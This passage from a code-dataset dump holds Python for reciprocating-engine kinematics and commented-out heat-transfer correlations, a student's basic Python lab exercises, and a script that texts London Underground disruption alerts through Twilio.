between piston pin and crankshaft centre\"\"\"\n def p(x): return np.power(x,2)\n bounds,do,up = self._calc_theta_bounds(TDCtoBDC, BDCtoTDC, dldtheta, dldt)\n x = np.empty_like(distance)\n x[do] = - np.sqrt(self._calc_theta_of_pos_root(distance))\n x[up] = + np.sqrt(self._calc_theta_of_pos_root(distance)) \n return -2.0*np.arctan((2.0*self.cr*self.pp + x)/(-p(self.cl) + p(self.cr) + 2.0*self.cr*distance + p(distance) + p(self.pp)))\n \n def _calc_theta_of_pos_root(self, position):\n def p(x): return np.power(x,2)\n return -1.0*(p(self.cl) - 2.0*self.cl*self.cr + p(self.cr) - p(position) - p(self.pp))*(p(self.cl) + 2.0*self.cl*self.cr + p(self.cr) - p(position) - p(self.pp))\n\n \n def dldtheta(self,theta): \n \"\"\"dl/dtheta - derivative of piston position w.r.t. crankshaft angle\"\"\"\n def p(x): return np.power(x,2)\n theta_0 = self._calc_theta_0(theta)\n dcrankdtheta = -self.cr*np.sin(theta_0) - self.cr*(self.cr*np.sin(theta_0) + self.pp)*np.cos(theta_0)/(self.cl*np.sqrt(1.0 - p(self.cr*np.sin(theta_0) + self.pp)/p(self.cl)))\n return dcrankdtheta * -1.0 \n \n def d2ldtheta2(self,theta): \n \"\"\"d2l/dtheta2 - 2nd derivative of piston position w.r.t. crankshaft angle\"\"\"\n def p(x,y=2.0): return np.power(x,y)\n theta_0 = self._calc_theta_0(theta)\n d2crankdtheta2 = -self.cr*np.cos(theta_0) - p(self.cr)*p(np.cos(theta_0))/(self.cl*np.sqrt(1.0 - p(self.cr*np.sin(theta_0) + self.pp)/p(self.cl))) + self.cr*(self.cr*np.sin(theta_0) + self.pp)*np.sin(theta_0)/(self.cl*np.sqrt(1.0 - p(self.cr*np.sin(theta_0) + self.pp)/p(self.cl))) - p(self.cr)*p(self.cr*np.sin(theta_0) + self.pp)*p(np.cos(theta_0))/(p(self.cl,3)*p(1.0 - p(self.cr*np.sin(theta_0) + self.pp)/p(self.cl),3./2.))\n #d2crankdtheta2 = -cr*cos(theta) - cr**2*cos(theta)**2/(cl*sqrt(1.0 - (cr*sin(theta) + pp)**2/cl**2)) + cr*(cr*sin(theta) + pp)*sin(theta)/(cl*sqrt(1.0 - (cr*sin(theta) + pp)**2/cl**2)) - cr**2*(cr*sin(theta) + pp)**2*cos(theta)**2/(cl**3*(1.0 - (cr*sin(theta) + pp)**2/cl**2)**(3/2))\n return d2crankdtheta2 * -1.0 \n\n \n\n \n \nclass RecipImplicit(RecipBase):\n \"\"\"Alternative definition of the reciprocating machine that uses solvers to determine \n minimun and maximun values. Mostly used for testing of the analytical solutions. \n Definition of piston movement and formulae taken from Dubbel, pages P5 to P7\"\"\"\n \n def set_geometry(self,cr,cl,bo,pp=0,cv=0,of=False):\n \"\"\" \n Update the geometric variables and perform some calculations.\n \n cr : float\n crankshaft radius [m]\n cl : float\n conrod length [m]\n bo : float\n bore [m]\n pp : float\n piston pin offset [m]\n cv : float\n clearance volume at TDC in [m3]\n of : float\n offset for the crank angle position [boolean]\n Allow for theta_TDC other than 0. If false (theta_TDC = 0)\n is assured by precalculating the angular offset.\n \"\"\"\n super(RecipImplicit, self).set_geometry(cr,cl,bo,pp,cv,of)\n \n #Carry out some basic comparisons\n _l_max = np.sin( self.theta_0_TDC+0.5*pi) * (self.cl + self.cr)\n _l_min = np.cos(pi-self.theta_0_BDC ) * (self.cl - self.cr)\n \n #if self.l_max <> _l_max:\n # raise ValueError(\"l_cr_max is not equal: {1:7.5f} vs. {1:7.5f}\".format(self.l_max,_l_max))\n #if self.l_min <> _l_min:\n # raise ValueError(\"l_cr_min is not equal: {1:7.5f} vs. {1:7.5f}\".format(self.l_min,_l_min)) \n \n # Custom helper functions\n def _beta(self,_theta_0):\n \"\"\"Conrod angle\"\"\"\n return (self._pp+self._cr*np.sin(_theta_0))/self._cl\n \n # Mandatory functions needed to fill the geometry variables\n def _calc_theta_0_TDC(self):\n \"\"\"Calculate the crankshaft angle at TDC\"\"\" \n return super(RecipImplicit, self)._calc_theta_0_TDC()\n\n def _calc_theta_0_BDC(self): \n \"\"\"Calculate the crankshaft angle at BDC\"\"\"\n return super(RecipImplicit, self)._calc_theta_0_BDC()\n \n # Some of the functions are written in a way that causes \n # indefinite recursion - two functions calling each other \n # require a redefinition of at least one of them.\n def _calc_distance_to_head(self,theta_0): \n \"\"\"Calculate the distance from cylinder head to piston pin\"\"\"\n return np.sqrt(np.power(self.cl+self.cr,2.0)-np.power(self.pp,2.0))-self.cl*np.cos(self._beta(-theta_0 + pi))+self.cr*np.cos(-theta_0 + pi) + self.l_min\n \n def _calc_distance_to_shaft(self,theta_0): \n \"\"\"Calculate the distance from crankshaft centre to piston pin\"\"\"\n def p(x): return np.power(x,2)\n return self.cl*np.sqrt(1.0 - p(self.cr*np.sin(theta_0) + self.pp)/p(self.cl)) + self.cr*np.cos(theta_0)\n \n def _calc_theta_0_from_head(self,distance,TDCtoBDC=None,BDCtoTDC=None,dldtheta=None,dldt=None): \n \"\"\"Calculate the crankshaft angle from the distance between piston pin and head\"\"\"\n bounds,do,up = self._calc_theta_bounds(TDCtoBDC, BDCtoTDC, dldtheta, dldt)\n pos = np.asarray(distance)\n guess = np.ones_like(pos) * np.mean(bounds)\n def f(x): return np.sum(np.power(pos-self.l(x),2.0)) \n res = minimize(f, guess, bounds=bounds, method='L-BFGS-B')\n self.autolog(str(res))\n return res.x\n \n def _calc_theta_0_from_crank(self,distance,TDCtoBDC=None,BDCtoTDC=None,dldtheta=None,dldt=None): \n \"\"\"Calculate the crankshaft angle from the distance between piston pin and crankshaft centre\"\"\"\n return super(RecipImplicit, self)._calc_theta_0_from_head(distance,TDCtoBDC=TDCtoBDC,BDCtoTDC=BDCtoTDC,dldtheta=dldtheta,dldt=dldt)\n \n \n\n# class CylinderHetaTransfer(object):\n# \n# def basicRePrCorrelation(self,fluid,T_f,rho_f,char_vel,char_len,a,b,c,DEBUG=False):\n# \n# # sanitise two-phase situations \n# Q = PropsSI('Q', 'T', T_f, 'D', rho_f, fluid)\n# \n# mu_f = numpy.array([])\n# lambda_f = numpy.array([])\n# cp_f = numpy.array([])\n# for i,qVal in enumerate(Q):\n# mu_f = numpy.append(mu_f, [PropsSI('V', 'T', T_f[i], 'D', rho_f[i], fluid)])\n# lambda_f = numpy.append(lambda_f,[PropsSI('L', 'T', T_f[i], 'D', rho_f[i], fluid)])\n# if 0>Q[i] or 1<Q[i]: \n# #mu_f = numpy.append(mu_f, [PropsSI('V', 'T', T_f[i], 'D', rho_f[i], fluid)])\n# #lambda_f = numpy.append(lambda_f,[PropsSI('L', 'T', T_f[i], 'D', rho_f[i], fluid)])\n# cp_f = numpy.append(cp_f, [PropsSI('C', 'T', T_f[i], 'D', rho_f[i], fluid)])\n# else:\n# #mu_f = numpy.append(mu_f, [-1])\n# #lambda_f = numpy.append(lambda_f,[-1])\n# cp_f = numpy.append(cp_f, [1e5])\n# \n# \n# \n# if mu_f.any <= 0: print \"Invalid viscosity, make sure transport properties are calculated.\"\n# if lambda_f.any <= 0: print \"Invalid thermal conductivity, make sure transport properties are calculated.\"\n# if cp_f.any <= 0: print \"Invalid heat capacity, make sure properties are calculated correctly.\"\n# Pr = cp_f * mu_f / lambda_f \n# Re = (rho_f * char_vel * char_len) / mu_f\n# Nu = a * numpy.power(Re,b) * numpy.power(Pr,c) \n# h = Nu * lambda_f / char_len\n# if DEBUG:\n# printDebug(lambda_f,namespace=locals())\n# printDebug(cp_f,namespace=locals())\n# printDebug(mu_f,namespace=locals())\n# printDebug(Pr,namespace=locals())\n# printDebug(Re,namespace=locals())\n# printDebug(Nu,namespace=locals())\n# printDebug(h,namespace=locals())\n# return h,Nu\n# \n# def Kornhauser1994(self,fluid,T_f,rho_f,char_vel,char_len,a=0.56,b=0.69,DEBUG=False):\n# lambda_f = CP.PropsU('L', 'T', T_f, 'D', rho_f, fluid, 'SI') \n# cp_f = CP.PropsU('C', 'T', T_f, 'D', rho_f, fluid, 'SI') \n# alpha_f = lambda_f / (rho_f * cp_f)\n# Pe = (char_vel * char_len**2) / (4*alpha_f)\n# Nu = a * Pe**b\n# h = Nu * lambda_f / char_len\n# if DEBUG:\n# printDebug(lambda_f,namespace=locals())\n# printDebug(cp_f,namespace=locals())\n# printDebug(alpha_f,namespace=locals())\n# printDebug(Pe,namespace=locals())\n# printDebug(Nu,namespace=locals())\n# printDebug(h,namespace=locals())\n# return h,Nu\n# \n# \n# def Destoop1986(self,fluid,T_f,rho_f,Lambda,Gamma,DEBUG=False):\n# \"\"\"\n# Destoop's simplified correlation for ammonia compressors\n# \"\"\"\n# h,Nu = self.basicRePrCorrelation(fluid,T_f,rho_f,Lambda,Gamma,0.6,0.8,0.6,DEBUG=DEBUG)\n# return h,Nu \n# \n# \n# def Annand1963(self,fluid,T_f,rho_f,Lambda,Gamma,DEBUG=False):\n# \"\"\"\n# Annand's IC engine correlation\n# \"\"\"\n# h,Nu = self.basicRePrCorrelation(fluid,T_f,rho_f,Lambda,Gamma,0.575,0.7,0.0,DEBUG=DEBUG)\n# return h,Nu \n# \n# \n# def Annand1963b(self,fluid,T_f,rho_f,char_vel,char_len,T_w,DEBUG=False):\n# \"\"\"\n# Annand's SI engine correlation\n# \"\"\"\n# c1 = 0.575\n# #c1 = 0.35 # for comparison with Irimescu\n# c2 = 4.3e-9 \n# \n# mu_f = CP.PropsU('V', 'T', T_f, 'D', rho_f, fluid, 'SI') \n# lambda_f = CP.PropsU('L', 'T', T_f, 'D', rho_f, fluid, 'SI') \n# #cp_f = CP.PropsU('C', 'T', T_f, 'D', rho_f, fluid, 'SI') \n# if mu_f.any <= 0: print \"Invalid viscosity, make sure transport properties are calculated.\"\n# if lambda_f.any <= 0: print \"Invalid thermal conductivity, make sure transport properties are calculated.\"\n# #if cp_f.any <= 0: print \"Invalid heat capacity, make sure properties are calculated correctly.\"\n# #Pr = cp_f * mu_f / lambda_f \n# Re = (rho_f * char_vel * char_len) / mu_f\n# \n# h = c1 * lambda_f / char_len * numpy.power(Re,0.7) + c2 * (numpy.power(T_f,4)-numpy.power(T_w,4))/(T_f-T_w)\n# Nu = h / lambda_f * char_len\n# \n# return h,Nu \n# \n# \n# def Woschni1967(self,fluid,T_f,rho_f,Lambda,Gamma,DEBUG=False):\n# \"\"\"\n# Annand's IC engine correlation\n# \"\"\"\n# h,Nu = self.basicRePrCorrelation(fluid,T_f,rho_f,Lambda,Gamma,0.035,0.7,0.0,DEBUG=DEBUG)\n# return h,Nu \n# \n# \n# def Adair1972(self,theta,omega,T_f,rho_f,fluid,bore,position,DEBUG=False):\n# \"\"\"\n# Adair's heat transfer correlation\n# theta: crankshaft angle in rad with TDC at 0.\n# omega: angular velocity RPS (revolutions per second), get converted into rad/s\n# T_f: bulk fluid temperature\n# rho_f: bulk fluid density\n# fluid: fluid string\n# bore: cylinder bore\n# position: distance piston-head\n# \"\"\"\n# \n# theta = numpy.mod(theta-math.pi,2*math.pi) # Fix TDC-BDC problem \n# #omega = der(crankshaftAngle) \n# # Equation 15 from Adair et al.\n# omega = 2.*math.pi*omega \n# # TODO: Check conversion from 1/s to rad/s\n# omega_g1 = 2.*omega * (1.04+numpy.cos(2.*theta))\n# omega_g2 = 2.*omega * 0.5 * (1.04+numpy.cos(2.*theta))\n# \n# omega_g = 0. * omega_g1\n# \n# for i in range(len(theta)):\n# if theta[i]>0.5*math.pi and theta[i]<1.5*math.pi:\n# omega_g[i] = omega_g2[i]\n# else:\n# omega_g[i] = omega_g1[i]\n# \n# #surfaceArea = pistonCrossArea + 2. * math.sqrt(pistonCrossArea*math.pi)*position\n# volume = math.pi * numpy.power(bore,2.) / 4. * position #Get volumes\"\n# surfaceArea = math.pi * numpy.power(bore,2.) / 4. * 2. + math.pi * bore * position \n# \n# d_e = 6. / surfaceArea * volume\n# \n# Gamma = d_e\n# Lambda = 0.5 * d_e * omega_g \n# \n# h,Nu = self.basicRePrCorrelation(fluid,T_f,rho_f,Lambda,Gamma,0.053,0.8,0.6,DEBUG=DEBUG)\n# \n# return h,Nu\n# # # There is a small mistake in equation 19 of the paper, DeltaT goes in the numerator.\n# # Ts = PropsSI('T', 'H', h_f, 'P', p_f, fluid) \n# # q_w = -1. * h * (Ts - T_wall)\n# # Q_flows[i] = surfaceAreas[i]*q_w[i]\n# \n# \n# def BasicGnielinski(self,fluid,T_f,rho_f,char_vel,char_len,L,zeta,xtra,K,DEBUG=False):\n# \n# D = char_len \n# \n# mu_f = CP.PropsU('V', 'T', T_f, 'D', rho_f, fluid, 'SI') \n# lambda_f = CP.PropsU('L', 'T', T_f, 'D', rho_f, fluid, 'SI') \n# cp_f = CP.PropsU('C', 'T', T_f, 'D', rho_f, fluid, 'SI') \n# if mu_f.any <= 0: print \"Invalid viscosity, make sure transport properties are calculated.\"\n# if lambda_f.any <= 0: print \"Invalid thermal conductivity, make sure transport properties are calculated.\"\n# if cp_f.any <= 0: print \"Invalid heat capacity, make sure properties are calculated correctly.\"\n# Pr = cp_f * mu_f / lambda_f \n# Re = (rho_f * char_vel * char_len) / mu_f \n# numerator = (zeta/8.) * (Re-xtra) * Pr \n# denominator = 1 + 12.7 * numpy.sqrt(zeta/8.) * (numpy.power(Pr,2./3.)-1.)\n# Nu = numerator / denominator * (1 + numpy.power(D/L,2./3.)) * K \n# h = Nu * lambda_f / char_len\n# if DEBUG:\n# printDebug(lambda_f,namespace=locals())\n# printDebug(cp_f,namespace=locals())\n# printDebug(mu_f,namespace=locals())\n# printDebug(Pr,namespace=locals())\n# printDebug(Re,namespace=locals())\n# printDebug(Nu,namespace=locals())\n# printDebug(h,namespace=locals())\n# return h,Nu\n# \n# \n# def Gnielinski1976(self,fluid,T_f,rho_f,char_vel,char_len,L,T_w,rho_w,DEBUG=False): \n# mu_f = CP.PropsU('V', 'T', T_f, 'D', rho_f, fluid, 'SI') \n# mu_w = CP.PropsU('V', 'T', T_w, 'D', rho_w, fluid, 'SI') \n# if mu_f.any <= 0: print \"Invalid viscosity, make sure transport properties are calculated.\"\n# Re = (rho_f * char_vel * char_len) / mu_f \n# \n# zeta = numpy.power((1.82 * numpy.log10(Re)-1.64),-2)\n# xtra = 1000.\n# K = numpy.power(mu_f/mu_w,0.14)\n# #for xi in numpy.array(numpy.power(mu_f/mu_w,0.14)):\n# # print xi \n# \n# h,Nu = self.BasicGnielinski(fluid,T_f,rho_f,char_vel,char_len,L,zeta,xtra,K,DEBUG=DEBUG)\n# return h,Nu\n# \n# \n# def Gnielinski2010(self,fluid,T_f,rho_f,char_vel,char_len,L,T_w,DEBUG=False):\n# mu_f = CP.PropsU('V', 'T', T_f, 'D', rho_f, fluid, 'SI') \n# if mu_f.any <= 0: print \"Invalid viscosity, make sure transport properties are calculated.\"\n# Re = (rho_f * char_vel * char_len) / mu_f \n# \n# zeta = numpy.power((1.80 * numpy.log10(Re)-1.50),-2)\n# xtra = 0.\n# K = 1. #numpy.power(T_f/T_w,0.25)\n# \n# h,Nu = self.BasicGnielinski(fluid,T_f,rho_f,char_vel,char_len,L,zeta,xtra,K,DEBUG=DEBUG)\n# return h,Nu\n# \n# class SteadyState(object):\n# \n# def idealNozzle(self,fluid,h_up,p_up,p_down,DEBUG=False):\n# \"\"\"Model of a nozzle flow using perfect gas parameter gamma. \n# \n# \"\"\" \n# from pyrp.refpropClasses import RefpropSI\n# RP = RefpropSI()\n# RP.SETUPFLEX(FluidNames=fluid)\n# T_up,p_up,rho_up,Dl_up,Dv_up,q_up,e_up,h_up,s_up,cv_up,cp_up,w_up = RP.PHFLSH(p_up,h_up)\n# v_up = 1/rho_up \n# gamma0 = cp_up / cv_up\n# \n# def function(gamma):\n# p_thr_crit = p_up*numpy.power(2/(gamma+1),gamma/(gamma-1))\n# p_thr_a = max(p_thr_crit,p_down)\n# v_thr_a = ((p_up*v_up**gamma)/p_thr_a)**(1./gamma)\n# T_thr,p_thr,rho_thr,Dl_thr,Dv_thr,q_thr,e_thr,h_thr,s_thr,cv_thr,cp_thr,w_thr = RP.PSFLSH(p_thr_a,s_up)\n# return (v_thr_a-1/rho_thr)**2\n# \n# res = minimize(function, gamma0)\n# #if DEBUG:\n# # print res, \"\\n\"\n# gamma = res.x[0]\n# p_thr_crit = p_up*(2/(gamma+1))**(gamma/(gamma-1))\n# p_thr = max(p_thr_crit,p_down)\n# T_thr,p_thr,rho_thr,Dl_thr,Dv_thr,q_thr,e_thr,h_thr,s_thr,cv_thr,cp_thr,w_thr = RP.PSFLSH(p_thr,s_up)\n# vel_thr = ((h_up - h_thr)*2.)**(1/2.)\n# if DEBUG: \n# print p_thr, vel_thr, w_thr, \"\\n\" \n# return T_thr,p_thr,rho_thr,Dl_thr,Dv_thr,q_thr,e_thr,h_thr,s_thr,cv_thr,cp_thr,w_thr,vel_thr,gamma\n# \n# \n# def simplyfiedModel(self,fluid,r,l,q,b=0.1,c=20e-6):\n# mechanism = MechanicsAlt()\n# mechanism.setGeometry(r,l,q,b=b,c=c)\n# \n# fluid = \"pentane\"\n# \n# from pyrp.refpropClasses import RefpropSI\n# RP = RefpropSI()\n# RP.SETUPFLEX(FluidNames=fluid)\n# \n# d_thr_su = 0.022 \n# d_leak = 0.00022\n# d_thr_ex = 0.022\n# \n# N_exp = 1000.\n# N_exp_s = N_exp / 60.\n# \n# V_s = 750e-6\n# V_0 = 36e-6\n# \n# p_supply = 15e5\n# T_supply = 155+273.15\n# T_su,p_su,rho_su,Dl_su,Dv_su,q_su,e_su,h_su,s_su,cv_su,cp_su,w_su = RP.TPFLSH(T_supply,p_supply)\n# \n# p_exhaust = 1.5e5\n# T_exhaust = 90+273.15\n# T_ex,p_ex,rho_ex,Dl_ex,Dv_ex,q_ex,e_ex,h_ex,s_ex,cv_ex,cp_ex,w_ex = RP.TPFLSH(T_exhaust,p_exhaust)\n# \n# StSt = SteadyState()\n# \n# def cycle(r_p_su1,r_M_dot_leak):\n# p_su1 = r_p_su1 * p_su \n# T_thr_su,p_thr_su,rho_thr_su,Dl_thr_su,Dv_thr_su,q_thr_su,e_thr_su,h_thr_su,s_thr_su,cv_thr_su,cp_thr_su,w_thr_su,vel_thr_su,gamma_thr_su = StSt.idealNozzle(fluid, h_su, p_su, p_su1,DEBUG=True)\n# A_thr_su = (pi*d_thr_su^2)/4\n# V_dot_thr_su = vel_thr_su*A_thr_su\n# M_dot = V_dot_thr_su * rho_thr_su\n# T_su1,p_su1,rho_su1,Dl_su1,Dv_su1,q_su1,e_su1,h_su1,s_su1,cv_su1,cp_su1,w_su1 = RP.PHFLSH(p_su1,h_su)\n# # No heat transfer\n# T_su2,p_su2,rho_su2,Dl_su2,Dv_su2,q_su2,e_su2,h_su2,s_su2,cv_su2,cp_su2,w_su2 = RP.PHFLSH(p_su1,h_su)\n# # Leakage\n# T_leak,p_leak,rho_leak,Dl_leak,Dv_leak,q_leak,e_leak,h_leak,s_leak,cv_leak,cp_leak,w_leak,vel_leak,gamma_leak = StSt.idealNozzle(fluid, h_su2, p_su2, p_ex,DEBUG=True)\n# A_leak = (pi*d_leak^2)/4\n# V_dot_leak = vel_leak*A_leak\n# M_dot_leak = V_dot_leak * rho_leak\n# \n# r_M_dot_leak = M_dot_leak / M_dot\n# M_dot_in = M_dot - M_dot_leak\n# \n# W_dot_suc = N_exp_s*(V_s-V_0)*p_su2\n# \n\n\n\nif __name__ == \"__main__\":\n raise ValueError(\"Do not call this package directly.\")\n# StSt = SteadyState()\n# p = linspace(5e5,12.5e5,10)\n# for pi in p:\n# StSt.idealNozzle(\"pentane\", 6e5, 15e5, pi,DEBUG=True) \n# \n# import matplotlib as mpl\n# mpl.use('Qt4Agg')\n# \n# from matplotlib.pyplot import plot, show\n# \n# me = Mechanics()\n# r = 0.05\n# l = 0.11\n# q = 0.03\n# me.setGeometry(r,l,q,b=0.1,c=20e-6)\n# \n# full = me.revolution(1000)\n# posi = me.position(full)\n# \n# \n# print posi.max(), posi[0], posi.min()\n# print me.stroke()\n# print posi.max() - posi.min()\n# \n# plot(full,posi)\n# plot(full[0],posi[0],'o')\n# \n# print me.position(me.TDC())\n# print me.position(me.BDC())\n# \n# print me.theta(0.3*me.position(me.BDC()), afterTDC=True, result=True)\n# print me.theta(0.3*me.position(me.BDC()), afterTDC=True) * 180 / pi\n# print \"\"\n# \n# print me.theta(0.3*me.position(me.BDC()), afterTDC=False, result=True)\n# print me.theta(0.3*me.position(me.BDC()), afterTDC=False) * 180 / pi\n# print \"\"\n# \n# me.info()\n# \n# show()\n\n#print \"\"\n#print me.stroke(), me.position(0) - me.position(me.offsetBDC()-me.offsetTDC())\n\n\n#class Mechanics2(object):\n# def __init__(self):\n# self.DEBUG = False\n# \n# self.stroke = 0.1\n# self.bore = 0.1\n# self.V_min = 20e-6\n# self.steps = 400\n# self.theta = self.getAngles(self.steps)\n# self.l_con = 0.15\n# \n# self.A_pis = pi * self.bore**2 / 4\n# self.x_min = self.V_min / self.A_pis\n# self.V_max = self.V_min + self.stroke * self.A_pis\n# self.x = self.positionNoOffset(self.theta, None)\n# self.V = self.x * self.A_pis\n# \n# def info(self):\n# print \"stroke: \" + str(self.stroke)\n# print \"bore: \" + str(self.bore)\n# print \"piston position:\" + str(self.x_min) + \" to \" + str(self.x_min+self.stroke)\n# print \"maximum volume: \" + str(self.V_max)\n# print \"minimum volume: \" + str(self.V_min)\n# \n# def validate(self):\n# if self.DEBUG: print self.V_min, self.V_max\n# if self.DEBUG: print self.x[0]*self.A_pis, self.x[round(self.steps/2)]*self.A_pis\n# if self.DEBUG: print \"\\nThis should be a sequence from 0 to 180:\"\n# if self.DEBUG: print self.thetaNoOffset(numpy.linspace(me.x[0],me.x[round(me.steps/2)],10))*180/pi\n#\n# def positionNoOffset(self,theta,pos):\n# # r: crankshaft radius\n# r = self.stroke / 2.\n# # l: conrod length\n# l = self.l_con\n# # theta: crankshaft angle from TDC\n# theta = numpy.array(theta)\n# position = numpy.array(r - r*cos(theta)+l-sqrt(l**2-(r*sin(theta))**2)) + self.x_min\n# if pos is None: \n# return position \n# else: \n# residuals = position - pos\n# return residuals\n#\n# def thetaNoOffset(self,pos):\n# pos = numpy.array(pos)\n# x0 = [(0.25*pi) for s in pos] # initial guess for cut-off\n# #bounds = (0.1*pi, 0.9*pi)\n# #res = minimize(self.positionNoOffset, x0, bounds=bounds, args=(pos))\n# res = fsolve(self.positionNoOffset, x0, args=(pos), xtol=1e-06)\n# #print \"Found best x of \",res.x,\" with an error of \",residuals,\" after \",iterationCounter,\" iterations.\"\n# return res\n#\n# def getAngles(self,num):\n# # num: steps you get\n# full = numpy.linspace(0,2*pi,num+1)\n# return full[:-1]\n"
}
] | 24 |
xsergiuszx/lab4 | https://github.com/xsergiuszx/lab4 | 9ebbebad187913c3566806dd9dbf467bd93efbff | 7df9383b7d80711a387f7330ab94641f743db41d | 549426fdf2b43d327457c4ef531303cf5db51dbf | refs/heads/master | 2022-09-30T17:11:15.852969 | 2020-06-04T14:28:25 | 2020-06-04T14:28:25 | 269,381,580 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.46666666865348816,
"alphanum_fraction": 0.5777778029441833,
"avg_line_length": 9.25,
"blob_id": "47e9c301624e888db26bcfba5d667d97a3d50df2",
"content_id": "6c34f5a70b86dec10a8b3b7954c93bcdab55f602",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 180,
"license_type": "no_license",
"max_line_length": 14,
"num_lines": 16,
"path": "/lab4skrypt1.py",
"repo_name": "xsergiuszx/lab4",
"src_encoding": "UTF-8",
"text": "a=1\r\nb=5\r\nc=1,5\r\nd=8,78\r\ncom1 = 4j + 7\r\ncom2 = 4j + 12\r\ntext1 = \"aaa\"\r\ntext2 = \"bbb\"\r\nprint(a)\r\nprint(b)\r\nprint(text1)\r\nprint(text2)\r\nprint(c)\r\nprint(d)\r\nprint(com1)\r\nprint(com2)\r\n"
},
{
"alpha_fraction": 0.429824560880661,
"alphanum_fraction": 0.4912280738353729,
"avg_line_length": 6.142857074737549,
"blob_id": "6618e7dd5438d99c9966564ac2a41f0874bb9cc6",
"content_id": "4c3012faba6481770f254a53d013914de01c2b38",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 114,
"license_type": "no_license",
"max_line_length": 8,
"num_lines": 14,
"path": "/lab4skrypt3.py",
"repo_name": "xsergiuszx/lab4",
"src_encoding": "UTF-8",
"text": "a = 5\r\nprint(a)\r\na+=2\r\nprint(a)\r\na-=2\r\nprint(a)\r\na*=2\r\nprint(a)\r\na/=2\r\nprint(a)\r\na**=2\r\nprint(a)\r\na%=2\r\nprint(a)\r\n"
},
{
"alpha_fraction": 0.489130437374115,
"alphanum_fraction": 0.5652173757553101,
"avg_line_length": 16.399999618530273,
"blob_id": "00db56bf0b583ff2d0eb2b2e545ea3801426f473",
"content_id": "4b45b2219134d72a79cff3257ded5973ab5c40c5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 92,
"license_type": "no_license",
"max_line_length": 34,
"num_lines": 5,
"path": "/lab4skrypt4.py",
"repo_name": "xsergiuszx/lab4",
"src_encoding": "UTF-8",
"text": "from math import *\r\na = pow(e, 10)\r\nprint(a)\r\nb = sqrt(log10(5 + pow(sin(8),2)))\r\nprint(b)\r\n"
},
{
"alpha_fraction": 0.6538461446762085,
"alphanum_fraction": 0.6538461446762085,
"avg_line_length": 30.66666603088379,
"blob_id": "22f45eb076cc7eafc1adbf0c8712072818d82f2b",
"content_id": "67e3cdfff215a90ff6c44f0a65880bcfe96fdf6f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 104,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 3,
"path": "/lab4skrypt5.py",
"repo_name": "xsergiuszx/lab4",
"src_encoding": "UTF-8",
"text": "imie = \"SERGIUSZ\"\r\nnazwisko = \"NIEDZWIECKI\"\r\nprint(imie.capitalize(),\" \", nazwisko.capitalize())\r\n\r\n \r\n"
},
{
"alpha_fraction": 0.6332378387451172,
"alphanum_fraction": 0.6446991562843323,
"avg_line_length": 17.38888931274414,
"blob_id": "e36587481cfa371020676d0a339e5ad2adcd4fb2",
"content_id": "b27192616abc655b7b56131fad295d6de4faec56",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 349,
"license_type": "no_license",
"max_line_length": 38,
"num_lines": 18,
"path": "/lab4skrypt2.py",
"repo_name": "xsergiuszx/lab4",
"src_encoding": "UTF-8",
"text": "a=12\r\nb=79\r\ndod = a+b\r\node = a-b\r\nmno = a*b\r\ndziel = a/b\r\npot = a**b\r\ndzielcal = a//b\r\npotega = pow(a,b)\r\nreszta = a%b\r\nprint(\"Dodawanie\", dod)\r\nprint(\"Odejmowanie\", ode)\r\nprint(\"Mnozenie\", mno)\r\nprint(\"Dzielenie\", dziel)\r\nprint(\"Dzielenie calkowite\", dzielcal)\r\nprint(\"Potegowanie\", pot)\r\nprint(\"Potegowanie pow\", potega)\r\nprint(\"Reszta\", reszta)\r\n"
}
] | 5 |
phirani2014/TFL-Twilio-REST-API | https://github.com/phirani2014/TFL-Twilio-REST-API | e73225286d7485e7a30b348b0984b5561bb11d67 | d6a9173e831b549cd7104ed7828396f6b55ffb40 | 1e2b0b4be9a615ce292150db238db65dcc15790d | refs/heads/master | 2021-03-04T14:04:42.427537 | 2020-03-09T13:34:00 | 2020-03-09T13:34:00 | 246,040,154 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5400202870368958,
"alphanum_fraction": 0.5471124649047852,
"avg_line_length": 36.279998779296875,
"blob_id": "50ca41e280e3eec72740cfe8185b861ca65c5b72",
"content_id": "c01e6ec5e23b951c246089e617de7c6dd9ada4d9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 987,
"license_type": "no_license",
"max_line_length": 116,
"num_lines": 25,
"path": "/PythonApplication1.py",
"repo_name": "phirani2014/TFL-Twilio-REST-API",
"src_encoding": "UTF-8",
"text": "import requests \r\nimport pprint\r\nimport json\r\nimport os\r\nfrom twilio.rest import Client\r\nr = requests.get(os.environ.get('TFL_API'))\r\nresponse_data = r.json()\r\ni = 0 \r\nText = []\r\nwhile i < len(r.json()) :\r\n if (response_data[i][\"lineStatuses\"][0][\"statusSeverityDescription\"]) != \"Good Service\":\r\n Text.append(response_data[i][\"name\"]+\" - \"+response_data[i][\"lineStatuses\"][0][\"statusSeverityDescription\"])\r\n i = i + 1\r\nif(len(Text) > 0):\r\n account_sid = os.environ.get('TWILIO_ACCOUNT_SID')\r\n auth_token = os.environ.get('TWILIO_AUTH_TOKEN')\r\n client = Client(account_sid, auth_token)\r\n message = client.messages \\\r\n .create(\r\n body= str(Text)[1:-1],\r\n from_= os.environ.get('TWILIO_FROM_NUM'), \r\n to=os.environ.get('TWILIO_TO_NUM'))\r\n print(message.sid)\r\n print(Text) \r\nelse: print(\"No Reported Issues\") \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"
},
{
"alpha_fraction": 0.7744185924530029,
"alphanum_fraction": 0.7767441868782043,
"avg_line_length": 34.83333206176758,
"blob_id": "53523c63710bfcc1b2485dcd58583e93cffd0c52",
"content_id": "f28e2c8f19b3dcf08d48ce297dd30ae5557bf8e2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 430,
"license_type": "no_license",
"max_line_length": 104,
"num_lines": 12,
"path": "/README.md",
"repo_name": "phirani2014/TFL-Twilio-REST-API",
"src_encoding": "UTF-8",
